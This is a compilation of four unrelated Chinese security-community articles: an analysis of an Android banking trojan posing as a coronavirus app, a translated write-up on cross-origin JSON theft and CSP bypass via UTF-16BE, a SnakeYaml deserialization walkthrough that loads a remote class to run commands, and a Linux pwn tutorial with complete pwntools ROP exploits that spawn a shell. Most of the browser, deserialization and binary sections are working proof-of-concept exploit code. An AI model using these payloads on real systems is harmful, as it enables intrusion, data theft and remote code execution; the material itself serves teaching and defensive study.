从Coronavirus的行为上来看，该恶意软件属于木马类病毒且具备较为详尽的窃取用户信息的功能，可定期从服务器更新加载恶意代码。除此之外该病毒还具备使用Teamviewer实现远程控制安卓设备的功能。
图1.1 应用图标
## Coronavirus的加载方式
通过两次动态加载恶意代码的方式来完成恶意行为的执行：
1. 通过解析解密Asset目录下的json文件加载恶意代码
第一阶段加载有效负荷：
* 请求开启可访问性服务（可以自动进行各种 UI 交互并模拟用户点击屏幕上的项目）
* 监听处理用户点击事件，以下部分行为是通过该项服务配合完成。
图2-1 遍历节点
* 从服务器下载恶意代码并配置参数设置（作为第二阶段恶意代码动态调用的参数传入。）
图2-2 第二阶段加载恶意代码的参数配置
* 使用Teamviewer实现远程控制安卓设备。
图2-3 远程控制安卓设备
2. 从服务器动态获取恶意代码动态加载调用，服务器地址：[http://k**ll.ug/](http://kryll.ug/)。第二阶段加载有效负荷：
图2-4 从服务器获取恶意代码
3. 解析第一阶段配置的参数信息(指令)执行窃取用户隐私信息、发送短信、呼叫转移等操作，并将窃取的隐私信息上传至服务器：[http://k**ll.ug/](http://kryll.ug/)。
表2-1 指令列表
指令
| 行为
---|---
grabbing_lockpattern
| 截取锁屏（如用户在输入解锁密码或手势时截取屏幕）
request_permission
| 请求敏感权限
run_admin_device
| 运行设备管理器
URL
| 查看网页
ussd
| 拨打USSD向网络发送一条指令，网络根据你的指令选择你需要的服务提供给你
get_data_logs
| 获取并保存已安装应用信息、联系人信息、短信信息
grabbing_google_authenticator2
| 截取google二次验证输入的信息
notification
| 设置消息通知图标、标题、内容、样式并发送。
grabbing_pass_gmail
| 截取gmail信息
remove_app
| 防止卸载应用
remove_bot
| 移除机器人
send_sms
| 发送短信
run_app
| 运行更新的应用
call_forward
| 呼叫转移，将来电转移到指定号码
patch_update
| 补丁更新
run_injects_emails
| 获取注入的电子邮件页面的账号密码信息
run_injects_banks
| 获取注入的银行页面的账号密码信息
## Coronavirus自我保护手段
1. 通过加密字符串，无用函数调用来增加研究员逆向分析难度。
2. 将自身加入白名单对进程进行保活从而防止进程被系统杀死。
图3-1 将应用加入白名单进行进程保活
3. 隐藏图标，用户无法通过常规方式卸载应用。当用户通过进入应用详细界面卸载应用时，打开应用列表界面使用户无法进入应用详细界面。
图3-2 防止用户卸载应用
4. 绕过google GMS认证。
图3-3 绕过googleGMS认证
## 总结
Coronavirus通过“冠状病毒”安装名称以及图标吸引用户安装使用，对用户的隐私信息造成了极大的安全隐患。由于武汉冠状病毒事件仍处于热点阶段，不少不法分子会利用该热点事件制作恶意软件、发送恶意邮件或短信目的在于侵害用户隐私信息、财产。用户应该提高双重警惕，在免于遭受冠状病毒对身心健康遭受侵害的同时，谨防该类恶意软件对自身隐私财产造成损害。
## 安全建议
由于恶意软件对自身进行了保护，用户通过正常方式无法卸载。可采取以下方式卸载。
1. 将手机连接电脑，在控制端输入命令：adb shell pm uninstall 包名。
2. 进入手机/data/data目录或/data/app目录，卸载文件名带有该应用包名的文件夹，应用将无法运用。
3. 安装好杀毒软件，能有效识别已知病毒。
坚持去正规应用商店或官网下载软件，谨慎从论坛或其它不正规的网站下载软件。
关注”暗影安全实验室”公众号，获取最新实时移动安全状态，避免给您造成损失和危害 | 社区文章 |
原文链接：[JSON hijacking for the modern
web](http://blog.portswigger.net/2016/11/json-hijacking-for-modern-web.html)
原作者： **[Gareth Heyes](https://www.blogger.com/profile/10856178524811553475)**
译： **Holic (知道创宇404安全实验室)**
Benjamin Dumke-von der Ehe 发现了一种有趣的[跨域窃取数据](http://balpha.de/2013/02/plain-text-considered-harmful-a-cross-domain-exploit/)的方法。使用[JS
代理](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Proxy)，他能够创建一个
handler，可以窃取未定义的 JavaScript 变量。这个问题在 FireFox 浏览器中似乎被修复了，但是我发现了一种对 Edge
进行攻击的新方式。虽然 Edge 好像是阻止了分配 `window.__proto__` 的行为，但他们忘了 Object.setPrototypeOf
这个方法。利用这个方法，我们可以使用代理过的 `__proto__` 来覆盖 `__proto__` 属性。就像这样：
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name);
}
}));
</script>
<script src="external-script-with-undefined-variable"></script>
<!-- script contains: stealme -->
#### [Edge PoC stealing undefined variable](http://portswigger-labs.net/jsproxy/edge_proxy_undefined_variable_read/)
如果你在跨域脚本中包含 stealme，你将会看到浏览器弹出了该值的警告，即它是一个未定义的变量。
经过进一步的测试，我发现通过覆盖`__proto __.__ proto__`可以实现相同的效果，在 Edge 浏览器上对应的是 [object
EventTargetPrototype] 。
<script>
__proto__.__proto__=new Proxy(__proto__,{
has:function(target,name){
alert(name);
}
});
</script>
<script src="external-script-with-undefined-variable"></script>
#### [Edge PoC stealing undefined variable method 2 ](http://portswigger-labs.net/jsproxy/edge_proxy_undefined_variable_read/index2.html)
很好，我们已经能跨域窃取数据了，但我们还能做什么呢？所有主流浏览器都支持脚本的 charset 属性。而我发现 UTF-16BE
字符集尤其有意思。UTF-16BE 是一个多字节编码的字符集，那么实际上是两个字节组成了一个字符。例如你的脚本以 `["` 开头，它将被认为是 0x5b22
而不是 0x5b 0x22。而 0x5b22 恰好是一个有效的 JavaScript 变量 =) 你能看懂这是怎么回事吗？
假设我们有一个来自 Web 服务器的响应，返回一个数组文本，我们便可以控制它的一部分。我们可以使用 UTF-16BE 字符集使数组文本成为未定义的
JavaScript 变量，并使用上面的技术窃取到它。唯一要注意的是，组成的字符必须形成一个有效的 JavaScript 变量。
例如，让我们看看以下响应：
["supersecret","input here"]
为了窃取到 supersecret，我们需要注入一个空字符，后面带着两个 a's ，出于某些原因，Edge 不会将其视为
UTF-16BE，除非它具有这些注入的字符。或许它在进行一些字符编码的扫描，亦或是截断响应和 NULL 后面的字符在 Edge 上不是一个有效的 JS
变量。这点我不确定，但是在我的测试中，似乎需要一个 NULL 与其他一些填充字符。参见下面的例子：
<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
#### [Edge PoC stealing JSON feeds](http://portswigger-labs.net/utf-16be/edge_steal_json_data_with_proxy/index2.php)
所以我们像以前一样代理 `__proto__` 属性，使用 UTF-16BE 编码包含此脚本，而且响应的字符文本中包含了一个 NULL，后面跟着两个
a's。然后我解码了移八位编码的 UTF-16BE ，获得第一个字节；并且通过按位“与”操作获得了第二个字节。结果是一个警告的弹出窗口，
`["supersecret","`。如你所见，Edge 似乎在 NULL 后截断了响应。请注意这种攻击是相当受限的，因为许多字符组合不会产生有效的
JavaScript 变量。然而，窃取少量数据可能是有用的。
### 在 Chrome 中窃取 JSON 推送
情况变得更糟了。Chrome 更加开放，有更多的异域字符编码。你不需要控制任何响应，Chrome
就可以使用该字符编码。唯一的要求便是之前所述，组合在一起的字符产生了一个有效的 JavaScript
变量。为了利用这个“特征”，我们需要另一个未定义的变量泄漏。一眼看上去 Chrome 似乎阻止了覆盖 `__proto__` 的行为，但是它却忘记了
`__proto__` 的深度。
<script>
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
has:function f(target,name){
var str = f.caller.toString();
alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
});
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","abc"] -->
**注意: 这一点已经在 Chrome 54 版本被修复**
[Chrome PoC stealing JSON feeds works in version 53](http://portswigger-labs.net/utf-16be/chrome_steal_json_data_with_proxy/index2.html)
我们在 `__proto__` 链中深入 5
层，并用我们的代理覆盖它，接下来的事情就很有意思了。尽管命名参数不包含我们未定义的变量，但是函数的调用者是包含的！它返回了一个带有我们变量名的函数！显然它用
UTF-16BE 编码了，看起来像是这样子的：
function 嬢獵灥牳散牥琢Ⱒ慢挢崊
Waaahat? 那么我们的变量是在调用者中泄漏了。你必须调用函数的 toString 方法来访问数据，否则 Chrome
会抛出一个通用访问的异常。我试着通过检查函数的构造函数，以查看是否返回了一个不同的域（也许是 Chrome 扩展程序上下文），从而进一步利用漏洞。当
adblock 被启用时，我看到了一些使用这种方法的扩展程序代码，但无法利用它因为它似乎只是将代码注入到当前的 document。
在我的测试中，我也能够包含 xml 或者 HTML 跨域数据，甚至是 text/html 内容类型，这就成为一个相当严重的信息泄漏漏洞。而此漏洞已经在
Chrome 中被修复。
### 在 Safari 中窃取 JSON 推送
我们也很轻松地可以在最新版的 Safari 中实现同样的事情。我们仅需要少使用一个 proto ，并且从代理中使用 “name” 而不是调用者。
<script>
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
has:function f(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
});
</script>
#### [Safari PoC stealing JSON feeds](http://portswigger-labs.net/utf-16be/safari_steal_json_data_with_proxy/)
经过进一步测试，我发现 Safari 和 Edge 一样受相同漏洞的影响，只需要`__proto__.__proto__` 。
### Hacking JSON feeds without JS proxies
我之前提到每个主流浏览器基本都支持 UTF-16BE 字符编码，可你要如何在没有 JS 代理的情况下黑掉 JSON
feeds呢？首先，你需要控制一些数据，而且必须用生成有效 JavaScript 变量的方式来构造 feed。在注入数据之前，获取 JSON
推送的第一部分非常简单，你所需要做的就是输出一个 UTF-16BE 编码字符串，该字符串将非 ASCII
变量分批给特定的值，然后循环遍历该窗口并检查该值的存在，那么属性将包含注入之前的所有 JSON feed。代码如下所示：
=1337;for(i in window)if(window[i]===1337)alert(i)
这段代码被编码为 UTF-16BE 字符串，所以我们实际上得到的是代码而不是非 ASCII 变量。实际上就是说，用 NULL
填充每个字符。要获得注入字符串后的字符，我仅需使用增量运算符，并在窗口的属性之后制作编码后的字符串。继续往下看。
setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.a
我将它包装在一个try catch 中，因为在 IE 上 ，当检查 isNaN 时 window.external 将会抛出一个异常。整个 JSON
feed 如下所示：
{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}
[Hacking JSON feeds without proxies PoC](http://portswigger-labs.net/utf-16be/without_proxies/)
绕过 CSP
你可能已经注意到，UTF-16BE 转换的字符串也会将新行转换为非 ASCII 变量，这使它甚至有可能绕过 CSP！该 HTML 文档将被视为
JavaScript 变量。我要做的就是注入一个带有 UTF-16BE 字符集的脚本，注入至其自身，使其具有编码过的赋值和带有尾部注释的
payload。这将绕过 CSP 策略，该策略只允许引用同一域下的脚本（主流策略）。
HTML 文档将形似以下内容：
<!doctype HTML><html>
<head>
<title>Test</title>
<?php
echo $_GET['x'];
?>
</head>
<body>
</body>
</html>
注意在 doctype 之后没有新行，HTML 是以这样一种方式构造的，即它是有效的
JavaScript，注入后面的字符无关紧要，因为我们注入了一行注释，而且新行也会被转换。注意，在文档中没有声明字符编码的声明，并不是因为字符集很重要，因为元素的引号和属性将破坏
JavaScript。payload 看起来像是这样（注意为了构造有效变量，一个选项卡是必要的）。
<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>
请注意：这在更高版本的 PHP 中已经被修复了这一点，为了防止攻击，它默认被设成 UTF-8 字符编码的 text/html
内容类型。但是，我只是添加了空白字符编码到 JSON 响应，所有现在仍处于实验室阶段。
[CSP bypass using UTF-16BE PoC](http://portswigger-labs.net/utf-16be/csp/index.php?x=%3Cscript%20src=%22index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500\(%25001%2500\)%2500%253B%2500%252F%2500%252F%22%20charset=%22UTF-16BE%22%3E%3C/script%3E)
### 其他编码
我 fuzz 了每个浏览器和字符编码。对 Edge 进行 fuzz
没什么用，主要是由于前面提到过的字符集嗅探，如果你在文档中没有使用确定的字符，他就不会使用字符编码。Chrome
则对此非常宽松，因为开发者工具让你通过正则过滤控制台的结果。我发现 ucs-2 编码允许你导入 XML 数据作为一个 JS 变量，但是它甚至比
UTF-16BE 更脆弱。我仍然设法在获得了以下的 XML，以便在 Chrome 上正确导入。
<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>
**以上内容在 Chrome 中已经不再有效，但可以当做另一个例子**
UTF-16 和 UTF-16LE 看起来也很有用，因为脚本的输出看起来像是一个 JavaScript 变量，但是当包含 doctype，XML 或
JSON 字符串时，它们引起了一些无效的语法错误。Safari 有一些有趣的结果，但在我的测试中，我不能用它生成有相当
JavaScript。这可能值得进一步探索，，但它将很难 fuzz，因为你需要编码字符，以产生一个有效的测试用例。我相信浏览器厂商能够更有效地做到这一点。
### CSS
你可能认为这种技术可以应用于 CSS，在理论上是可以的，因为任何 HTML 将被转换为非 ASCII 的无效 CSS
选择器。但实际上，浏览器似乎会在带着编码解析 CSS 之前，查看文档是否有 doctype
头并忽略样式表，这样的话注入样式表便失败了。Edge，Firefox 和 IE 在标准模式下似乎也会检查 mime 类型，Chrome
说样式表被解析了，但至少在我的测试中并不会这样。
### 解决方案
可以通过在 HTTP content type 头中声明你的字符编码（例如 UTF-8）来防止字符编码工具。PHP 5.6 还通过声明 UTF-8
编码来防止这些攻击，如果没有的话，就在 content-type 头中设置。
### 总结
Edge，Safari 和 Chrome 包含的错误让你可以跨域读取未声明的变量。你可以使用不同的编码绕过 CSP
绕过并窃取脚本数据。即使没有代理，如果可以控制一些 JSON 响应的话，你也可以窃取数据。
Enjoy - [@garethheyes](https://twitter.com/garethheyes)
附： **演示视频**
* * * | 社区文章 |
**作者：SearchNull
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 简介
SnakeYaml是Java用于解析Yaml（Yet Another Markup Language）格式数据的类库,
它提供了dump方法可以将一个Java对象转为Yaml格式字符串,
其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了（非原生）序列化/反序列化。
## 漏洞利用
你可以使用Maven导入SnakeYaml依赖：
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
简单的JNDI注入示例：
## 漏洞分析
从 `org.yaml.snakeyaml.Yaml#load`开始动态调试, 调用重载方法, 实例化StreamReader对象.
前面为一些对象的初始化操作 无需关注, 重点跟进 `getSingleData`方法即可。
调用 `BaseConstructor#constructDocument`方法传入node对象, 其包含了解析的YAML字符串信息
通过Node对象的getTag方法获取Tag对象再调用getClassName方法获取YAML字符串中的类名,
`Constructor#getClassForName`方法获取类的类对象,
`getClassForName`中调用的`Class#forName`获取的类对象, 这里就不跟进了。
在 `Constructor$ConstructMapping#construct`中会调用父类
`BaseConstructor#newInstance`方法, 在该方法中通过
`JdbcRowSetImpl`类的类对象获取无参构造器并调用newInstance方法返回实例对象。
跟进到 `Constructor$ConstructMapping#constructJavaBean2ndStep`中, property.set是关键：
图中的getWriteMethod方法会返回属性对应的setter方法的Method对象（）,
通过调用Method对象的invoke方法即实现了调用JavaBean的setter方法。
至于怎么获取对象属性对应的Method的可以debug看看这一部分内容, 调用栈我会贴在下方。
> `<init>:66, MethodProperty (org.yaml.snakeyaml.introspector)
> getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector)
> getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector)
> getProperty:148, PropertyUtils (org.yaml.snakeyaml.introspector)
> getProperty:309, Constructor$ConstructMapping
> (org.yaml.snakeyaml.constructor) constructJavaBean2ndStep:230,
> Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:171,
> Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:331,
> Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
> constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
> constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
> constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
> getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
> loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml
> (org.yaml.snakeyaml) main:9, YamlTest (org.vulhub.yaml)`
JdbcRowSetImpl的Gadget会在其 `autoCommit`属性的setter方法中触发,
SnakeYaml反序列化还有比较经典的Gadget是使用SPI加载远程Jar包或class。
## SPI
Java SPI机制全称为Service Provider Interface, 即服务提供发现机制。
当服务的提供者提供了一种接口的实现之后, 需要在classpath下 `META-INF/services`目录里创建一个以服务接口命名的文件,
文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找 `META-INF/services`中的配置文件去加载对应的实现类。
谈谈个人的理解, 我认为这种机制是用于解耦模块中的硬编码实现类, 通过配置文件的方式实现的一种动态加载方式。例如在JDBC的使用场景中, 你可以在
`META-INF/services`新建Driver文件, 在文件内容中指定你要加载的数据库驱动实现类,
这种方式即能够实现动态加载也无需在程序代码中硬编码实现类。当你需要更换数据库驱动时只需要更新配置文件内容即可。
## SPI与ScriptEngineManager
首先给出Payload和利用方法, 编写恶意类实现 `ScriptEngineFactory`接口, 在静态代码块中添加命令执行代码：
public class Poc implements ScriptEngineFactory {
public static void main(String[] args) {}
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public String getEngineName() {}
......
然后将编译的class放置在Web服务下, 同时在Web服务的根目录新建 `META-INF/services/javax.script.ScriptEngineFactory`文件, 内容为 `Poc`。
String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"url\"]]]]";
上述的Payload会从最右边开始解析, 首先调用 `java.net.URL`的 **public URL(String spec)**
构造器初始化对象, 然后将该URL对象传入 `java.net.URLClassLoader`的 **public URLClassLoader(URL[]
urls)** 构造器中, 因为该构造器形参是URL对象数组所以Payload中用了两个方括号。最后即是调用
`javax.script.ScriptEngineManager`的 **public
ScriptEngineManager(URLClassloader loader)** 构造器。
打开URL流获取加载的类名：
在
`java.util.ServiceLoader#nextService`中其通过Class.forName通过URL加载远程服务器上的类（因为loader是URLClassLoader）,
并触发静态代码块中的命令执行弹出计算器。
不过这里Class.forName的第二个参数为false, 所以静态代码块不会在这里被执行, 而是当调用newInstance方法的时候执行的。
## 参考
[Java SnakeYaml反序列化漏洞](https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E)
[Java常用机制 - SPI机制详解 | Java
全栈知识体系](https://www.pdai.tech/md/java/advanced/java-advanced-spi.html#java%e5%b8%b8%e7%94%a8%e6%9c%ba%e5%88%b6---spi%e6%9c%ba%e5%88%b6)
* * * | 社区文章 |
# Linux pwn从入门到熟练（三）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Linux
pwn系列继续更新。近期终于花了一点时间把自己的坑填上。今天将首先为大家带来上篇文章遗留题目的解答。再次，将介绍两种pwn的方式。这两种pwn都是针对开启了NX保护的程序。其间，还给大家分享了我更新的工具[getOverFlowOffset](https://github.com/desword/shellcode_tools)。
该工具经过升级，能够同时应对开启和没有开启PIE的程序。支持分析32位和64位程序。欢迎大家提issue :)。
“纸上得来终觉浅,绝知此事要躬行”
——《冬夜读书示子聿》
时间久远，怕大家找不到从前的文章，特此给出传送门：
[Linux pwn从入门到熟练（二）](https://www.anquanke.com/post/id/168468)
[Linux pwn从入门到熟练](https://www.anquanke.com/post/id/164530)
## 练习题pwn7参考解答
前述[Linux
pwn从入门到熟练（二）](https://www.anquanke.com/post/id/168468)这篇文章留了一道习题pwn7给大家做。下面给出一种参考解答。
### 查看保护
可以发现。栈是不可以执行的。但是没有开启PIE/ALSR，即地址随机化。因此IDA查看的函数地址是可以直接使用的。
### 判断漏洞函数
可以发现，函数gets存在栈溢出漏洞。
### 获取溢出点距离EBP的偏移距离
这里，我推荐一个自己写的工具[getOverFlowOffset](https://github.com/desword/shellcode_tools)。
该工具经过我的升级，能够同时应对开启和没有开启PIE的程序。
它会自己检测程序是否开启了PIE，对于开启了PIE的程序，它会通过程序里面调用的其他库函数泄露正确的地址，并将存在漏洞的返回地址修正。比如：
$ python getOverFlowOffset.py 0x00000632 example_bin/pwn200_PIE
[*] example_bin/pwn200_PIE is 32 bits
[*] PIE is enabled
[*] Found a leak function: write
[*] Found the leaked address 0x565556c2, we can leave
[*] The real vul_ret_address is:0x56555632
[+] Found offset to the EBP is 108.
[+] THe offset to the RET_ADDR is 112 (32bits) or 116 (64bits).
在本程序中，没有开启PIE，因此有如下的结果：
$ python getOverFlowOffset.py 0x08048695 ~/pwn_execrise/pwn_basic_rop_2/pwn7
[*] /home/desword/pwn_execrise/pwn_basic_rop_2/pwn7 is 32 bits
[*] no PIE
[+] Found offset to the EBP is 108.
[+] THe offset to the RET_ADDR is 112 (32bits) or 116 (64bits).
可以发现，溢出点距离EBP的距离是108字节。该程序是32位程序，因此距离存储了返回地址的距离是112字节。
### 分析是否载入了系统函数
从该程序的提示和查看导入函数表我们可以发现，并没有可以直接用于获取shell的系统函数了（如：system,
execve）。我们会马上想到[上一篇文章](https://www.anquanke.com/post/id/168468)提到的写shellcodes,
构造syscall的方法。但是，我们前面查保护的时候又发现，该程序开启了栈不可执行保护（NX）。因此也是不可能构造shellcode
了。我们需要自己主动的从系统库libc中提取用于获取shell的库函数。
那么我们怎么提取用于获取shell的库函数呢？
libc动态库载入时，其内库函数地址的构成：
库函数f载入地址：f@load = libc@load + f_offset@libc
即库函数f载入地址由libc动态库载入时的基地址+库函数在libc动态库中的偏移。
包括两个主要步骤，
1. 获取动态链接库libc被pwn7程序载入时的基地址libc_base；
2. 将目标库函数的地址更新位pwn7程序载入的地址。
### 获取libc基地址
那么如何获取libc的基地址呢？
我们从上述库函数f载入地址的构成就能够窥探出一丝技巧：如果我们泄露任意一个pwn7程序已经载入的属于libc动态库的函数地址f[@load](https://github.com/load
"@load")（比如__libc_start_main），然后在函数f在libc中的偏移f_offset[@libc](https://github.com/libc
"@libc")已知的情况下，就能够反推出libc载入的基地址libc[@load](https://github.com/load
"@load")了，即：
libc@load = f@load - f_offset@libc
其中f_offset[@libc](https://github.com/libc "@libc")对于一个确定的动态库libc是固定的，且可以静态的获得。
因此，pwn7漏洞利用的大致步骤为：
1. 溢出目标 中已经载入的函数的地址，比如__libc_start_main
2. 搜索载入的libc的库，并且libc库中的函数相对偏移已经获得
3. 计算libc的基地址，通过载入函数的地址__libc_start_main 减去libc中__libc_start_main的相对偏移
4. 搜索libc中的system的偏移，
5. 搜索libc中的/bin/sh字符串的偏移，
6. 最终构造函数的利用
这里，为了通过泄露的库函数地址，来获得libc的基地址，我们借助了一个工具：
需要借助的工具。[LibcSearch](https://github.com/lieanu/LibcSearcher)
该工具的安装方法为
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
一般的使用方法为
obj = LibcSearcher("fgets", 0X7ff39014bd90)
libcbase = 0X7ff39014bd90 – obj.dump("fgets")
system_addr = libcbase + obj.dump("system") #system 偏移
bin_sh_addr = libcbase + obj.dump("str_bin_sh") #/bin/sh 偏移
libcmain_addr = libcbase + obj.dump("__libc_start_main_ret")
### 完整的exp
# coding=utf-8
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./pwn7')
pwn7 = ELF('./pwn7')
puts_plt = pwn7.plt['puts']
libc_start_main_got = pwn7.got['__libc_start_main'] # 载入的libc_main函数的地址。
main = pwn7.symbols['main']
success("leak libc_start_main addr and return to main again")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) # 首先通过puts函数的执行，将libc_main的载入地址泄漏出来。
sh.sendlineafter('Can you find it !?', payload)
success("get the libc base, and get system@got")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) # 搜索系统中所载入的libc库，并且自动读取里面的所有导出函数的相对地址。
libcbase = libc_start_main_addr - libc.dump('__libc_start_main') # 载入的libc_main地址减去，libc_main在libc库中的偏移，就是libc的基地址。
system_addr = libcbase + libc.dump('system') # 从而获得system的载入地址
binsh_addr = libcbase + libc.dump('str_bin_sh') # 从而获得 /bin/sh字符串的载入地址
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
### exp的栈分布图解：
**为了泄露__libc_start_main地址的栈空间分布变化**
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) # 首先通过puts函数的执行，将libc_main的载入地址泄漏出来。
上述图中的右侧图展示了对应栈空间里面数值表达的含义。
**为了获取shell时栈空间分布变化**
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
注意，选择libc的版本时，选择32位的，即第1个选项。
## 64位程序通用ROP的构建
对于64位程序，有一个可以获取通用ROP的方案，该方案来自于论文：
[black asia 2018]return-to-csu: A New Method to Bypass 64-bit Linux ASLR
[Paper](https://github.com/desword/pwn_execrise/blob/master/pwn_basic_rop_3/asis18_ret2csu_wp.pdf),[Slides](https://github.com/desword/pwn_execrise/blob/master/pwn_basic_rop_3/asia18_ret2csu.pdf)
在某些程序中，我们会发现可以用来构造ROP的
gadgets较少。因此可以利用上述通用ROP方案。由于，该方法的核心是利用函数__libc_csu_init中的代码，因此成为ret2csu。
构造ROP的核心步骤包括三点：
其一是获得用于获取shell的库函数地址，
其二是安排该库函数在合适的位置被调用，
其三是如何巧妙的向函数传参数。
主要思想是：在每个64位的linux程序中都有一段初始化的代码，该代码中含有一段可以被用来间接给函数输入参数赋值的代码。
该段通用代码位于__libc_csu_init函数中：
借用论文中的gadgets图来说明调用方式：
在64位的程序中，当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
因此，对应于上述提到的三点核心的后面两点：
**其二是安排该库函数在合适的位置被调用** ：可以发现，在gadget
2中，可以利用callq来调用地址%r12+%rbx*8指向的函数。我们可以设置rbx=0，那么就变成%r12寄存器指向的函数。而%r12寄存器的值可以利用gadget
1中的代码从栈中指定位置获取。
**其三是如何巧妙的向函数传参数** ：从gadget 2中可以发现64位程序前三个输入参数存入的寄存器rdi, rsi, rdx分别可以从寄存器r15d,
r14, r13中获取值。而结合gadget 1，可以发现r15d, r14,
r13的值可以从栈中获取。那么通过合理的分配栈中的数据，我们就可以顺利的控制参数数值了。三个参数对于大部分的漏洞利用而言，基本够用了。
下面以一道zhengmin大神的level 5 , 64位程序来讲解。
[Pwn8](https://github.com/desword/pwn_execrise/blob/master/pwn_basic_rop_3/pwn8)
那么我们回到本题中，迅速的三连。
### 快速三连：查保护，查漏洞，算偏移
开启了栈不可执行保护（NX）。没有开启PIE和canary。
溢出的原因是对于char类型变量，可以输入超长的长度。
$ python getOverFlowOffset.py 0x0000000000400563 ~/pwn_execrise/pwn_basic_rop_3/pwn8
[*] /home/desword/pwn_execrise/pwn_basic_rop_3/pwn8 is 64 bits
[*] no PIE
[+] Found offset to the EBP is 128.
[+] THe offset to the RET_ADDR is 132 (32bits) or 136 (64bits)
距离EBP的偏移是128，距离返回地址的覆盖是136字节。
### 分析利用方式
值得注意的是，本题中的__libc_csu_init汇编结果不同，寄存器赋值的顺序也变了。但是只要利用的思路理解了，只要稍微调整一下即可。
### 完整的EXP
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
pwn8 = ELF('./pwn8')
sh = process('./pwn8')
write_got = pwn8.got['write']
read_got = pwn8.got['read']
main_addr = pwn8.symbols['main']
bss_base = pwn8.bss()
csu_front_addr = 0x00000000004005F0 # gadget 2.
csu_end_addr = 0x0000000000400606 # gadget 1,
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# in my case, is the following case.
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = 'a' * 128 + fakeebp # 128 offset to rbp, then 8 bytes to the ret_addr.
## put the address of the gadget 1
payload += p64(csu_end_addr)
payload += 'a'* 8 ## suplement for the additional rsp addition. i.e., add rsp, 38h.
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
## then put the address of the gadget 2, to call function
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
#gdb.attach(sh)
sh.recvuntil('Hello, Worldn')
## write(1,write_got,8)
csu(0, 1, write_got, 1, write_got, 8, main_addr)
# sh.recvuntil('Hello, Worldn')
write_addr = u64(sh.recv(8))
print "write_addr, ", hex(write_addr), write_addr
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
####--- orignal test.
## read(0,bss_base,16)
## read execve_addr and /bin/shx00
